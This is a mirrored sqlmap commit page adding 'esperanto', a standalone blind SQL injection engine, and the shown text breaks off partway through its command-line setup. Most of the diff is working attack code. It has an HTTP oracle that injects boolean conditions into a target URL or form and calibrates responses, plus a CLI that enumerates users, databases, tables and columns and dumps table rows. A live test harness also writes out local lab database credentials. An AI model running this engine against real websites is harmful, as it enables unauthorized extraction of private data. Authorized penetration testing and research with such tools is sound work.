mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2026-08-04 14:55:40 +00:00
Adding Esperanto DBMS agnostic engine
This commit is contained in:
parent
c496cf99e6
commit
57f8485279
20 changed files with 4318 additions and 9 deletions
|
|
@ -314,8 +314,8 @@
|
|||
<blind query="SELECT OWNER FROM (SELECT OWNER,ROWNUM AS CAP FROM (SELECT DISTINCT(OWNER) FROM SYS.ALL_TABLES)) WHERE CAP=%d" count="SELECT COUNT(DISTINCT(OWNER)) FROM SYS.ALL_TABLES"/>
|
||||
</dbs>
|
||||
<tables>
|
||||
<inband query="SELECT OWNER,OBJECT_NAME FROM SYS.ALL_OBJECTS WHERE OBJECT_TYPE IN ('TABLE','VIEW')" condition="OWNER"/>
|
||||
<blind query="SELECT OBJECT_NAME FROM (SELECT OBJECT_NAME,ROWNUM AS CAP FROM SYS.ALL_OBJECTS WHERE OWNER='%s' AND OBJECT_TYPE IN ('TABLE','VIEW')) WHERE CAP=%d" count="SELECT COUNT(OBJECT_NAME) FROM SYS.ALL_OBJECTS WHERE OWNER='%s' AND OBJECT_TYPE IN ('TABLE','VIEW')"/>
|
||||
<inband query="SELECT OWNER,OBJECT_NAME FROM SYS.ALL_OBJECTS WHERE OBJECT_TYPE IN ('TABLE','VIEW') AND OBJECT_NAME NOT LIKE 'BIN$%%'" condition="OWNER"/>
|
||||
<blind query="SELECT OBJECT_NAME FROM (SELECT OBJECT_NAME,ROWNUM AS CAP FROM SYS.ALL_OBJECTS WHERE OWNER='%s' AND OBJECT_TYPE IN ('TABLE','VIEW') AND OBJECT_NAME NOT LIKE 'BIN$%%') WHERE CAP=%d" count="SELECT COUNT(OBJECT_NAME) FROM SYS.ALL_OBJECTS WHERE OWNER='%s' AND OBJECT_TYPE IN ('TABLE','VIEW') AND OBJECT_NAME NOT LIKE 'BIN$%%'"/>
|
||||
</tables>
|
||||
<columns>
|
||||
<inband query="SELECT COLUMN_NAME,DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND OWNER='%s'" condition="COLUMN_NAME"/>
|
||||
|
|
|
|||
26
extra/esperanto/__init__.py
Normal file
26
extra/esperanto/__init__.py
Normal file
|
|
@ -0,0 +1,26 @@
|
|||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
|
||||
esperanto - a DBMS-agnostic SQL poking prototype.
|
||||
|
||||
Given only a boolean oracle - a callable oracle(condition) -> bool that reports
|
||||
whether an arbitrary SQL boolean expression holds at the target - this discovers
|
||||
the target's SQL dialect from scratch (concatenation operator, substring / length
|
||||
/ char-code functions, string comparison, catalog surface) and then extracts data
|
||||
char-by-char WITHOUT ever being told which DBMS is on the other end.
|
||||
|
||||
The candidate variants below are harvested from sqlmap's own data/xml/queries.xml
|
||||
across all 31 supported DBMSes - the point is to reuse that accumulated knowledge
|
||||
as a single "esperanto" the tool speaks at any backend, rather than fingerprinting
|
||||
first and loading one dialect.
|
||||
|
||||
This is a self-contained research prototype (no sqlmap imports); run it directly
|
||||
for a built-in self-test against an in-memory SQLite oracle.
|
||||
"""
|
||||
|
||||
from .engine import Esperanto
|
||||
from .engine import hostExtract
|
||||
from .handler import buildHandler
|
||||
from .records import Cap, ExtractResult, BulkResult, Dialect, InferenceStrategy
|
||||
from .records import OracleUndecided, QueryBudgetExceeded
|
||||
609
extra/esperanto/__main__.py
Normal file
609
extra/esperanto/__main__.py
Normal file
|
|
@ -0,0 +1,609 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from .atlas import _REPL
|
||||
from .engine import Esperanto, hostExtract
|
||||
from .records import (
|
||||
OracleUndecided, ExtractResult, QueryBudgetExceeded)
|
||||
|
||||
|
||||
def _sqliteOracle(block=None):
|
||||
"""In-memory SQLite boolean oracle for the self-test (DBMS hidden from prober).
|
||||
`block` is a regex of constructs to refuse, used to force fallback modes."""
|
||||
import re as _re
|
||||
import sqlite3
|
||||
con = sqlite3.connect(":memory:")
|
||||
con.execute("CREATE TABLE users (id INTEGER, name TEXT)")
|
||||
con.execute("INSERT INTO users VALUES (1, 'Admin-42')")
|
||||
con.commit()
|
||||
pat = _re.compile(block) if block else None
|
||||
|
||||
def oracle(condition):
|
||||
if pat and pat.search(condition):
|
||||
return False
|
||||
try:
|
||||
cur = con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % condition)
|
||||
return cur.fetchone()[0] == 1
|
||||
except sqlite3.DatabaseError:
|
||||
# unsupported/rejected SQL is a valid negative capability result; only
|
||||
# transport/observation failures are allowed to raise (oracle contract)
|
||||
return False
|
||||
|
||||
return oracle
|
||||
|
||||
|
||||
def _selftest():
|
||||
# exercise every compare mode against one byte-ordered, case-sensitive backend
|
||||
# (SQLite) by selectively refusing constructs - proves each extraction path
|
||||
code = r"\b(ASCII|UNICODE|ORD|CODEPOINT|ASCII_VAL|ASCW|UNICODE_CODE|TO_CODE_POINTS)\("
|
||||
coll = r"COLLATE|\bBINARY\s*\(|AS\s+(BLOB|bytea|VARBINARY|RAW)|NLSSORT|UTL_RAW"
|
||||
hexb = r"\bHEX\(|RAWTOHEX|ENCODE\(|BINTOHEX|HEX_ENCODE|TO_HEX|BINTOSTR"
|
||||
modes = (
|
||||
("code", None),
|
||||
("collation", r"(?i)(%s)" % code),
|
||||
("hex", r"(?i)(%s|%s)" % (code, coll)),
|
||||
("ordinal", r"(?i)(%s|%s|%s)" % (code, coll, hexb)),
|
||||
)
|
||||
for expected, block in modes:
|
||||
esp = Esperanto(_sqliteOracle(block=block))
|
||||
dialect = esp.discover()
|
||||
got = esp.extract("(SELECT name FROM users WHERE id=1)")
|
||||
assert dialect.compare == expected, "expected %s mode, got %s" % (expected, dialect.compare)
|
||||
assert got == "Admin-42", "%s-mode extraction failed: %r" % (expected, got)
|
||||
print(" %-8s mode: %-52r -> extracted %r in %d queries" % (
|
||||
expected, dialect, got, esp.queryCount))
|
||||
# equality mode exercised directly (charset scan)
|
||||
esp = Esperanto(_sqliteOracle())
|
||||
esp.discover()
|
||||
esp.dialect.compare = "equality"
|
||||
assert esp.extract("(SELECT name FROM users WHERE id=1)") == "Admin-42"
|
||||
print(" equality mode: charset-scan extraction -> OK")
|
||||
|
||||
# the detective: name the backend blind
|
||||
esp = Esperanto(_sqliteOracle())
|
||||
esp.discover()
|
||||
verdict = esp.identify()
|
||||
assert verdict["product"] == "SQLite", "identify failed: %r" % verdict
|
||||
print(" identify: product=%(product)r version=%(version)r dual=%(dual)s" % verdict)
|
||||
|
||||
# bytes-first extraction: byte-exact, encoding chosen by the caller
|
||||
esp = Esperanto(_sqliteOracle())
|
||||
esp.discover()
|
||||
mb = "('A' || CHAR(233) || CHAR(8364))" # 'A' + U+00E9 + U+20AC, built via ASCII SQL (py2/py3-safe, no non-ASCII source)
|
||||
raw = esp.extractBytes(mb)
|
||||
assert raw == u"A\xe9\u20ac".encode("utf-8"), "extractBytes: %r" % raw
|
||||
assert esp.extractText(mb) == u"A\xe9\u20ac"
|
||||
print(" extractBytes: %r extractText: %r" % (raw, esp.extractText(mb)))
|
||||
|
||||
# quorum: a noisy oracle that flips/errors a minority of probes must not corrupt.
|
||||
# tested across several seeds so the pass doesn't hinge on one lucky sequence.
|
||||
import random as _random
|
||||
for seed in (1234, 7, 99, 2026):
|
||||
base = _sqliteOracle()
|
||||
rng = _random.Random(seed)
|
||||
|
||||
def noisy(cond, _b=base, _r=rng):
|
||||
roll = _r.random()
|
||||
if roll < 0.12:
|
||||
raise RuntimeError("transient") # 12% errors (resampled)
|
||||
if roll < 0.20:
|
||||
return not _b(cond) # 8% lies
|
||||
return _b(cond)
|
||||
|
||||
esp = Esperanto(noisy, quorum=6)
|
||||
esp.discover()
|
||||
got = esp.extract("(SELECT name FROM users WHERE id=1)")
|
||||
assert got == "Admin-42", "quorum extraction (seed %d) failed: %r" % (seed, got)
|
||||
print(" quorum=6 under 20%% noisy oracle (12%% err + 8%% lies) -> 'Admin-42' across 4 seeds")
|
||||
|
||||
# -- integrity guards (peer-review round 4) --------------------------------
|
||||
# empty/NULL are falsey; a bounded prefix (incl. limit=0) is incomplete+truncated
|
||||
assert not ExtractResult("") and not ExtractResult(None)
|
||||
esp = Esperanto(_sqliteOracle())
|
||||
esp.discover()
|
||||
zero = esp.extractResult("'abc'", limit=0)
|
||||
assert zero.value == "" and zero.truncated and not zero.complete, "limit=0: %r" % zero
|
||||
# an invalid expression must NOT masquerade as a complete SQL NULL
|
||||
bad = esp.extractResult("NO_SUCH_FN(1)")
|
||||
assert bad.value is None and not bad.is_null and not bad.complete and bad.warnings, "invalid->NULL: %r" % bad
|
||||
# integer extraction must raise, not saturate
|
||||
try:
|
||||
esp.extractInteger("100", maximum=10)
|
||||
assert False, "extractInteger saturated silently"
|
||||
except OverflowError:
|
||||
pass
|
||||
# an unobservable oracle must FAIL CLOSED, never silently 'succeed'. two guarantees:
|
||||
# (a) discovery aborts (a broken oracle can't manufacture a working dialect); while
|
||||
# probing candidate rungs an unobservable probe reads False, so sanity fails ->
|
||||
# RuntimeError, never a bogus discovered dialect
|
||||
try:
|
||||
Esperanto((lambda c: (_ for _ in ()).throw(RuntimeError("down")))).discover()
|
||||
assert False, "broken oracle silently discovered a dialect"
|
||||
except RuntimeError:
|
||||
pass
|
||||
# (b) a DATA READ never manufactures False from an unobservable probe: it raises
|
||||
# OracleUndecided (the whole point - a flaky read must not corrupt a bit)
|
||||
esp = Esperanto(_sqliteOracle())
|
||||
esp.discover()
|
||||
esp.oracle = lambda c: (_ for _ in ()).throw(RuntimeError("down")) # break it post-discovery
|
||||
try:
|
||||
esp.extract("(SELECT MAX(name) FROM users)")
|
||||
assert False, "undecided oracle silently became data"
|
||||
except OracleUndecided:
|
||||
pass
|
||||
# embedded/leading NUL must not truncate (whole-value verification recovers it)
|
||||
import sqlite3
|
||||
con = sqlite3.connect(":memory:")
|
||||
con.execute("CREATE TABLE t (a TEXT)")
|
||||
con.execute("INSERT INTO t VALUES (?)", ("A\x00B",))
|
||||
con.commit()
|
||||
|
||||
def nulOracle(cond):
|
||||
try:
|
||||
return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1
|
||||
except sqlite3.DatabaseError:
|
||||
return False
|
||||
esp = Esperanto(nulOracle)
|
||||
esp.discover()
|
||||
nul = esp.extractResult("(SELECT a FROM t)")
|
||||
assert nul.value == "A\x00B" and nul.complete, "embedded NUL: %r" % nul
|
||||
|
||||
# -- round-5 adversarial regressions --------------------------------------
|
||||
esp = Esperanto(_sqliteOracle(), maxlen=0)
|
||||
esp.discover()
|
||||
z = esp.extractResult("'abc'")
|
||||
assert z.value == "" and z.truncated and not z.complete, "maxlen=0: %r" % z
|
||||
esp = Esperanto(_sqliteOracle())
|
||||
esp.discover()
|
||||
for bad in (("-100", 10), ("100", 10)): # symmetric integer cap
|
||||
try:
|
||||
esp.extractInteger(bad[0], maximum=bad[1])
|
||||
assert False, "int cap not enforced for %s" % bad[0]
|
||||
except OverflowError:
|
||||
pass
|
||||
try: # None observation -> undecided
|
||||
Esperanto(lambda c: None, retries=0)._ask("1=1")
|
||||
assert False, "None became False"
|
||||
except OracleUndecided:
|
||||
pass
|
||||
try: # hard query budget
|
||||
Esperanto(_sqliteOracle(), max_queries=0)._ask("1=1")
|
||||
assert False, "budget not enforced"
|
||||
except QueryBudgetExceeded:
|
||||
pass
|
||||
esp = Esperanto(_sqliteOracle()) # ordered PoC refused in equality mode
|
||||
esp.discover()
|
||||
esp.dialect.compare = "equality"
|
||||
try:
|
||||
esp.poc("'A'")
|
||||
assert False, "equality-mode PoC fabricated ordering"
|
||||
except RuntimeError:
|
||||
pass
|
||||
# a UTF-16 code-unit fn returning an isolated surrogate must not be "complete"
|
||||
con = sqlite3.connect(":memory:")
|
||||
con.execute("CREATE TABLE s (v TEXT)")
|
||||
con.execute(u"INSERT INTO s VALUES ('\U0001F642')")
|
||||
con.create_function("ASCII", 1, lambda x: None if not x else (
|
||||
ord(x[0]) if ord(x[0]) <= 0xFFFF else 0xD800 + ((ord(x[0]) - 0x10000) >> 10)))
|
||||
con.commit()
|
||||
nohex = __import__("re").compile(r"(?i)\bHEX\(|RAWTOHEX|ENCODE\(|BINTOHEX|HEX_ENCODE|TO_HEX|BINTOSTR")
|
||||
|
||||
def surOracle(cond):
|
||||
if nohex.search(cond):
|
||||
return False
|
||||
try:
|
||||
return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1
|
||||
except sqlite3.DatabaseError:
|
||||
return False
|
||||
esp = Esperanto(surOracle)
|
||||
esp.discover()
|
||||
sur = esp.extractResult("(SELECT v FROM s)")
|
||||
assert sur.value == _REPL and not sur.complete, "isolated surrogate accepted: %r" % sur
|
||||
|
||||
print(" integrity: fail-closed + NULL/empty + limit0 + int-cap + budget + surrogate + PoC -> guarded")
|
||||
|
||||
# -- InferenceStrategy: the frozen hand-off is a *sufficient* host interface --
|
||||
oracle = _sqliteOracle()
|
||||
esp = Esperanto(oracle)
|
||||
esp.discover()
|
||||
strat = esp.strategy()
|
||||
try: # immutable
|
||||
strat.compare_mode = "x"
|
||||
assert False, "strategy is not frozen"
|
||||
except AttributeError:
|
||||
pass
|
||||
# extract using ONLY the strategy + oracle (no Esperanto retrieval code)
|
||||
got = hostExtract(oracle, strat, "(SELECT name FROM users WHERE id=1)")
|
||||
assert got == "Admin-42", "hostExtract via strategy failed: %r" % got
|
||||
row = strat.asQueriesRow()
|
||||
assert row["substring"] and row["length"] and row["inference"], "queries-row incomplete: %r" % row
|
||||
print(" strategy: frozen + hostExtract('%s')=%r + queries.xml row rendered" % (strat.compare_mode, got))
|
||||
print("SELF-TEST PASSED (all compare modes + identify + bytes + quorum + integrity + strategy)")
|
||||
|
||||
|
||||
def _livetest(only=None, waf=False):
|
||||
"""Live blind validation against real DBMS instances (dev harness, '--live').
|
||||
Each backend is handed ONLY a boolean oracle - dialect-mismatch errors read as
|
||||
False, the transaction rolled back per probe - and is never told which engine it
|
||||
is poking. Requires the driver + a reachable instance; skips what it can't reach."""
|
||||
import re as _re
|
||||
SECRET = "Zagreb-Ka5tel"
|
||||
block = _re.compile(r"(?i)\b(ASCII|UNICODE|ORD|CODEPOINT|ASCII_VAL|ASCW|UNICODE_CODE|CODE)\s*\(") if waf else None
|
||||
|
||||
def cursor(con, wrap):
|
||||
def ask(cond):
|
||||
if block and block.search(cond):
|
||||
return False
|
||||
cur = con.cursor()
|
||||
try:
|
||||
cur.execute(wrap % cond)
|
||||
row = cur.fetchone()
|
||||
return bool(row) and int(row[0]) == 1
|
||||
except Exception:
|
||||
try:
|
||||
con.rollback()
|
||||
except Exception:
|
||||
pass
|
||||
return False
|
||||
finally:
|
||||
try:
|
||||
cur.close()
|
||||
except Exception:
|
||||
pass
|
||||
return ask
|
||||
|
||||
def prep(con, ddl):
|
||||
cur = con.cursor()
|
||||
for stmt in ddl:
|
||||
try:
|
||||
cur.execute(stmt)
|
||||
except Exception:
|
||||
if hasattr(con, "rollback"):
|
||||
con.rollback()
|
||||
con.commit()
|
||||
cur.close()
|
||||
|
||||
def sqlite():
|
||||
import sqlite3
|
||||
con = sqlite3.connect(":memory:")
|
||||
prep(con, ("CREATE TABLE esp_probe (name TEXT)", "INSERT INTO esp_probe VALUES ('%s')" % SECRET))
|
||||
return cursor(con, "SELECT CASE WHEN (%s) THEN 1 ELSE 0 END")
|
||||
|
||||
def mysql():
|
||||
import pymysql
|
||||
con = pymysql.connect(host="127.0.0.1", port=13306, user="root", password="root", database="lab")
|
||||
prep(con, ("DROP TABLE IF EXISTS esp_probe", "CREATE TABLE esp_probe (name VARCHAR(64))",
|
||||
"INSERT INTO esp_probe VALUES ('%s')" % SECRET))
|
||||
return cursor(con, "SELECT CASE WHEN (%s) THEN 1 ELSE 0 END")
|
||||
|
||||
def postgres():
|
||||
import psycopg2
|
||||
con = psycopg2.connect(host="127.0.0.1", port=15432, user="esp", password="pass", dbname="espdb")
|
||||
prep(con, ("DROP TABLE IF EXISTS esp_probe", "CREATE TABLE esp_probe (name VARCHAR(64))",
|
||||
"INSERT INTO esp_probe VALUES ('%s')" % SECRET))
|
||||
return cursor(con, "SELECT CASE WHEN (%s) THEN 1 ELSE 0 END")
|
||||
|
||||
def oracle():
|
||||
import oracledb
|
||||
con = oracledb.connect(user="appu", password="appu", dsn="127.0.0.1:1521/FREEPDB1")
|
||||
prep(con, ("BEGIN EXECUTE IMMEDIATE 'DROP TABLE esp_probe'; EXCEPTION WHEN OTHERS THEN NULL; END;",
|
||||
"CREATE TABLE esp_probe (name VARCHAR2(64))", "INSERT INTO esp_probe VALUES ('%s')" % SECRET))
|
||||
return cursor(con, "SELECT CASE WHEN (%s) THEN 1 ELSE 0 END FROM DUAL")
|
||||
|
||||
def mssql():
|
||||
import pymssql
|
||||
con = pymssql.connect(server="127.0.0.1", port="11433", user="sa", password="Esp_pass123", database="master")
|
||||
prep(con, ("IF OBJECT_ID('esp_probe') IS NOT NULL DROP TABLE esp_probe",
|
||||
"CREATE TABLE esp_probe (name VARCHAR(64))", "INSERT INTO esp_probe VALUES ('%s')" % SECRET))
|
||||
return cursor(con, "SELECT CASE WHEN (%s) THEN 1 ELSE 0 END")
|
||||
|
||||
ok = True
|
||||
for name, factory in (("SQLite", sqlite), ("MySQL", mysql), ("PostgreSQL", postgres),
|
||||
("Oracle", oracle), ("MSSQL", mssql)):
|
||||
if only and name.lower() not in only:
|
||||
continue
|
||||
try:
|
||||
oracle_fn = factory()
|
||||
except Exception as ex:
|
||||
print(" %-12s SKIP (%s)" % (name, ex))
|
||||
continue
|
||||
esp = Esperanto(oracle_fn)
|
||||
try:
|
||||
esp.discover()
|
||||
got = esp.extract("(SELECT MAX(name) FROM esp_probe)")
|
||||
product = esp.identify()["product"]
|
||||
except Exception as ex:
|
||||
print(" %-12s FAIL (%s)" % (name, ex))
|
||||
ok = False
|
||||
continue
|
||||
passed = got == SECRET
|
||||
ok = ok and passed
|
||||
print(" %-12s %s product=%-12r secret=%r%s" % (
|
||||
name, "PASS" if passed else "FAIL", product, got, " [WAF]" if waf else ""))
|
||||
return ok
|
||||
|
||||
|
||||
def _httpOracle(url, data=None, cookie=None, headers=None, string=None, notString=None, code=None):
|
||||
"""A boolean oracle over a real HTTP target, for standalone use. The condition is
|
||||
substituted at the injection marker: '[INFERENCE]' is replaced verbatim (you supply
|
||||
the context, e.g. `id=1 AND [INFERENCE]`), else a single '*' is replaced with
|
||||
` AND (<condition>)`.
|
||||
|
||||
True/false is decided by a reduced port of sqlmap's response differentiation - the
|
||||
Pareto 80%: explicit --string/--not-string/--code win; otherwise it CALIBRATES from
|
||||
two true (1=1) baselines + one false (1=2) and auto-picks the cheapest reliable
|
||||
signal - HTTP status code, else a stable text line present in true but not false,
|
||||
else a difflib similarity ratio. Two noise-killers borrowed from sqlmap make it
|
||||
robust: DYNAMIC content (lines that differ between two identical true requests, e.g.
|
||||
timestamps/CSRF/nonces) is stripped, and the REFLECTED injected condition is removed
|
||||
from the body so it can't skew the match (sqlmap's "reflective values ... filtering
|
||||
out"). Not a replacement for checkBooleanExpression - just its high-value core."""
|
||||
import difflib
|
||||
try: # py3
|
||||
from urllib.parse import quote as _quote, urlsplit
|
||||
from http.client import HTTPConnection, HTTPSConnection
|
||||
except ImportError: # py2
|
||||
from urllib import quote as _quote
|
||||
from urlparse import urlsplit
|
||||
from httplib import HTTPConnection, HTTPSConnection
|
||||
|
||||
if "[INFERENCE]" not in (url + (data or "")) and "*" not in (url + (data or "")):
|
||||
url = url + "*" # no marker given -> inject at the end of the URL by default
|
||||
print("[*] no injection marker ('*' or '[INFERENCE]') given; defaulting to end of URL: %s" % url)
|
||||
|
||||
# ONE kept-alive connection reused across every probe. a blind dump is thousands of
|
||||
# requests; opening a fresh TCP+TLS handshake per probe (what urlopen does) is ~0.2s of
|
||||
# pure handshake that dwarfs the request itself - reuse drops per-probe latency ~5-10x.
|
||||
_conn = {"c": None, "key": None}
|
||||
|
||||
def _fresh(scheme, netloc):
|
||||
return (HTTPSConnection if scheme == "https" else HTTPConnection)(netloc, timeout=30)
|
||||
|
||||
def fetch(cond):
|
||||
if "[INFERENCE]" in (url + (data or "")): # verbatim (caller owns the context)
|
||||
u_raw = url.replace("[INFERENCE]", cond)
|
||||
d_raw = data.replace("[INFERENCE]", cond) if data else data
|
||||
else: # '*' -> boolean AND at the mark
|
||||
ins = " AND (%s)" % cond
|
||||
u_raw = url.replace("*", ins, 1) if "*" in url else url
|
||||
d_raw = data.replace("*", ins, 1) if (data and "*" in data) else data
|
||||
# keep the '='/'&' param structure, encode the rest so spaces/metachars survive
|
||||
parts = urlsplit(u_raw)
|
||||
path = parts.path or "/"
|
||||
if parts.query:
|
||||
path += "?" + _quote(parts.query, safe="=&")
|
||||
body = _quote(d_raw, safe="=&").encode("utf-8") if d_raw else None
|
||||
method = "POST" if body else "GET"
|
||||
hdrs = {"User-Agent": "esperanto", "Connection": "keep-alive"}
|
||||
if body:
|
||||
hdrs["Content-Type"] = "application/x-www-form-urlencoded"
|
||||
if cookie:
|
||||
hdrs["Cookie"] = cookie
|
||||
for h in (headers or []):
|
||||
k, _, v = h.partition(":")
|
||||
hdrs[k.strip()] = v.strip()
|
||||
key = (parts.scheme, parts.netloc)
|
||||
for attempt in (1, 2): # reuse the socket; reconnect once if it dropped
|
||||
if _conn["c"] is None or _conn["key"] != key:
|
||||
if _conn["c"] is not None:
|
||||
try:
|
||||
_conn["c"].close()
|
||||
except Exception:
|
||||
pass
|
||||
_conn["c"], _conn["key"] = _fresh(parts.scheme, parts.netloc), key
|
||||
try:
|
||||
_conn["c"].request(method, path, body, hdrs)
|
||||
resp = _conn["c"].getresponse() # http.client returns 4xx/5xx too (no raise)
|
||||
raw, status = resp.read(), resp.status # read fully so the socket stays reusable
|
||||
return raw.decode("utf-8", "replace"), status
|
||||
except Exception:
|
||||
try:
|
||||
_conn["c"].close()
|
||||
except Exception:
|
||||
pass
|
||||
_conn["c"] = None # force a reconnect on the retry
|
||||
return "", 0
|
||||
|
||||
dyn = set()
|
||||
|
||||
def _deReflect(body, cond):
|
||||
return body.replace(cond, "") if cond else body # drop the reflected payload
|
||||
|
||||
def _clean(body, cond):
|
||||
body = _deReflect(body, cond)
|
||||
return "\n".join(ln for ln in body.split("\n") if ln not in dyn) if dyn else body
|
||||
|
||||
mode, wanted, base = None, None, {}
|
||||
if string is not None:
|
||||
mode = "string"
|
||||
elif notString is not None:
|
||||
mode = "notstring"
|
||||
elif code is not None:
|
||||
mode, wanted = "code", int(code)
|
||||
else: # auto-calibrate
|
||||
(t1, s1), (t2, s2), (f1, sf) = fetch("1=1"), fetch("1=1"), fetch("1=2")
|
||||
dyn = set(t1.split("\n")) ^ set(t2.split("\n")) # varies between identical requests -> dynamic
|
||||
tc, fc = _clean(t1, "1=1"), _clean(f1, "1=2")
|
||||
if s1 == s2 and s1 != sf: # (1) HTTP status alone separates true/false
|
||||
mode, wanted = "code", s1
|
||||
else:
|
||||
# (2) a SHORT distinctive true-only marker: the longest contiguous chunk that is
|
||||
# in the true page but not the false one, capped to a "longish" string (never the
|
||||
# whole document) and verified stable across BOTH true baselines
|
||||
t2c = _clean(t2, "1=1")
|
||||
blocks = difflib.SequenceMatcher(None, fc, tc, autojunk=False).get_opcodes()
|
||||
chunks = sorted((tc[b1:b2].strip() for op, _a1, _a2, b1, b2 in blocks
|
||||
if op in ("insert", "replace")), key=len, reverse=True)
|
||||
wanted = None
|
||||
for chunk in chunks:
|
||||
marker = chunk[:64] # bounded, distinctive marker
|
||||
if len(marker) >= 6 and marker in t2c and marker not in fc:
|
||||
mode, wanted = "autostring", marker
|
||||
break
|
||||
if wanted is None: # (3) similarity ratio floor
|
||||
mode, base = "ratio", {"t": tc, "f": fc}
|
||||
if not string and not notString:
|
||||
print("[*] calibrated oracle: %s%s" % (mode, (" (%r)" % wanted) if mode in ("code", "autostring") else ""))
|
||||
|
||||
def oracle(cond):
|
||||
body, status = fetch(cond)
|
||||
if mode == "string":
|
||||
return string in body
|
||||
if mode == "notstring":
|
||||
return notString not in body
|
||||
if mode == "code":
|
||||
return status == wanted
|
||||
if mode == "autostring":
|
||||
return wanted in _clean(body, cond)
|
||||
c = _clean(body, cond)
|
||||
st = difflib.SequenceMatcher(None, c, base["t"]).quick_ratio()
|
||||
sf = difflib.SequenceMatcher(None, c, base["f"]).quick_ratio()
|
||||
return st >= sf
|
||||
|
||||
return oracle
|
||||
|
||||
|
||||
def _report(esp, args):
|
||||
"""Run the requested action(s) against a discovered target and print the results."""
|
||||
print("[*] dialect: %r" % esp.dialect)
|
||||
verdict = esp.identify()
|
||||
print("[*] back-end: %s %s" % (verdict.get("product") or "unknown", verdict.get("version") or ""))
|
||||
# scope schema/db lookups to -D, else the current database (and, for a specific table,
|
||||
# the schema it actually lives in) - WITHOUT this a table that ALSO exists in a system
|
||||
# schema (e.g. MySQL's mysql/information_schema 'users') merges columns and yields a
|
||||
# garbage 0-row dump. mirrors the sqlmap handler's _scopeFor.
|
||||
scope = args.db
|
||||
if scope is None and (args.tables or args.columns or args.dump):
|
||||
dbexpr = esp.dialect.identity.get("database")
|
||||
try:
|
||||
cur = esp.extract(dbexpr) if dbexpr else None
|
||||
except Exception:
|
||||
cur = None
|
||||
if args.tbl and (args.columns or args.dump):
|
||||
try:
|
||||
scope = cur if (cur and esp.hasTable(args.tbl, cur)) else (esp.tableSchema(args.tbl) or cur)
|
||||
except Exception:
|
||||
scope = cur
|
||||
else:
|
||||
scope = cur
|
||||
if scope:
|
||||
print("[*] scoping to database/schema: %s" % scope)
|
||||
if args.current_user:
|
||||
expr = esp.dialect.identity.get("user")
|
||||
print("[*] current user: %s" % (esp.extract(expr) if expr else "n/a"))
|
||||
if args.current_db:
|
||||
expr = esp.dialect.identity.get("database")
|
||||
print("[*] current database: %s" % (esp.extract(expr) if expr else "n/a"))
|
||||
if args.tables:
|
||||
print("[*] fetching tables ...")
|
||||
print("[*] tables: %s" % ", ".join(esp.enumerate("table", schema=scope) or ["<none>"]))
|
||||
if args.columns:
|
||||
if not args.tbl:
|
||||
print("[!] --columns needs -T <table>")
|
||||
else:
|
||||
print("[*] fetching columns for '%s' ..." % args.tbl)
|
||||
print("[*] columns of %s: %s" % (args.tbl, ", ".join(esp.columns(args.tbl, schema=scope) or ["<none>"])))
|
||||
if args.query:
|
||||
print("[*] fetching %s ..." % args.query)
|
||||
print("[*] %s = %r" % (args.query, esp.extract(args.query)))
|
||||
if args.dump:
|
||||
if not args.tbl:
|
||||
print("[!] --dump needs -T <table>")
|
||||
else:
|
||||
cols = [c.strip() for c in args.col.split(",")] if args.col else None
|
||||
if cols is None: # enumerate columns FIRST (own phase), so the
|
||||
print("[*] fetching columns for table '%s' ..." % args.tbl) # 'entries' phase below streams ROWS, not column names
|
||||
cols = esp.columns(args.tbl, schema=scope) or None
|
||||
print("[*] fetching entries for table '%s' ..." % args.tbl)
|
||||
result = esp.dump(args.tbl, columns=cols, schema=scope)
|
||||
if not result or not result["columns"]:
|
||||
print("[!] could not dump %s" % args.tbl)
|
||||
else:
|
||||
print("[*] %s (%d rows):" % (args.tbl, len(result["rows"])))
|
||||
print(" " + " | ".join(result["columns"]))
|
||||
for row in result["rows"]:
|
||||
print(" " + " | ".join("NULL" if v is None else v for v in row))
|
||||
|
||||
|
||||
def main(argv=None):
|
||||
"""Standalone entry point: drive the engine against a live HTTP target."""
|
||||
import argparse
|
||||
|
||||
class _Formatter(argparse.HelpFormatter):
|
||||
# show the metavar ONCE ('-H, --header HEADER', not '-H HEADER, --header HEADER'),
|
||||
# like sqlmap's own help, so option/help stays on a single line
|
||||
def __init__(self, prog):
|
||||
argparse.HelpFormatter.__init__(self, prog, max_help_position=28)
|
||||
|
||||
def _format_action_invocation(self, action):
|
||||
if not action.option_strings or action.nargs == 0:
|
||||
return ", ".join(action.option_strings) or argparse.HelpFormatter._format_action_invocation(self, action)
|
||||
metavar = self._format_args(action, action.dest.upper()) # py2/py3-portable default metavar
|
||||
return "%s %s" % (", ".join(action.option_strings), metavar)
|
||||
|
||||
parser = argparse.ArgumentParser(
|
||||
prog="esperanto", formatter_class=_Formatter,
|
||||
description="DBMS-agnostic blind-SQLi enumeration engine (standalone)")
|
||||
parser.add_argument("-u", "--url", help="target URL (with a '*'/'[INFERENCE]' marker)")
|
||||
parser.add_argument("--data", help="POST data string")
|
||||
parser.add_argument("--cookie", help="HTTP Cookie header")
|
||||
parser.add_argument("-H", "--header", action="append", help="extra HTTP header (repeatable)")
|
||||
parser.add_argument("--string", help="match string for a True response")
|
||||
parser.add_argument("--not-string", dest="not_string", help="match string for a False response")
|
||||
parser.add_argument("--code", type=int, help="HTTP code for a True response")
|
||||
parser.add_argument("--banner", action="store_true", help="retrieve DBMS banner")
|
||||
parser.add_argument("--current-user", action="store_true", dest="current_user", help="retrieve current user")
|
||||
parser.add_argument("--current-db", action="store_true", dest="current_db", help="retrieve current database")
|
||||
parser.add_argument("--tables", action="store_true", help="enumerate tables")
|
||||
parser.add_argument("--columns", action="store_true", help="enumerate table columns (needs -T)")
|
||||
parser.add_argument("--dump", action="store_true", help="dump table entries (needs -T)")
|
||||
parser.add_argument("--sql-query", dest="query", help="run a custom scalar SQL query")
|
||||
parser.add_argument("-D", dest="db", help="database/schema to enumerate")
|
||||
parser.add_argument("-T", dest="tbl", help="table to enumerate")
|
||||
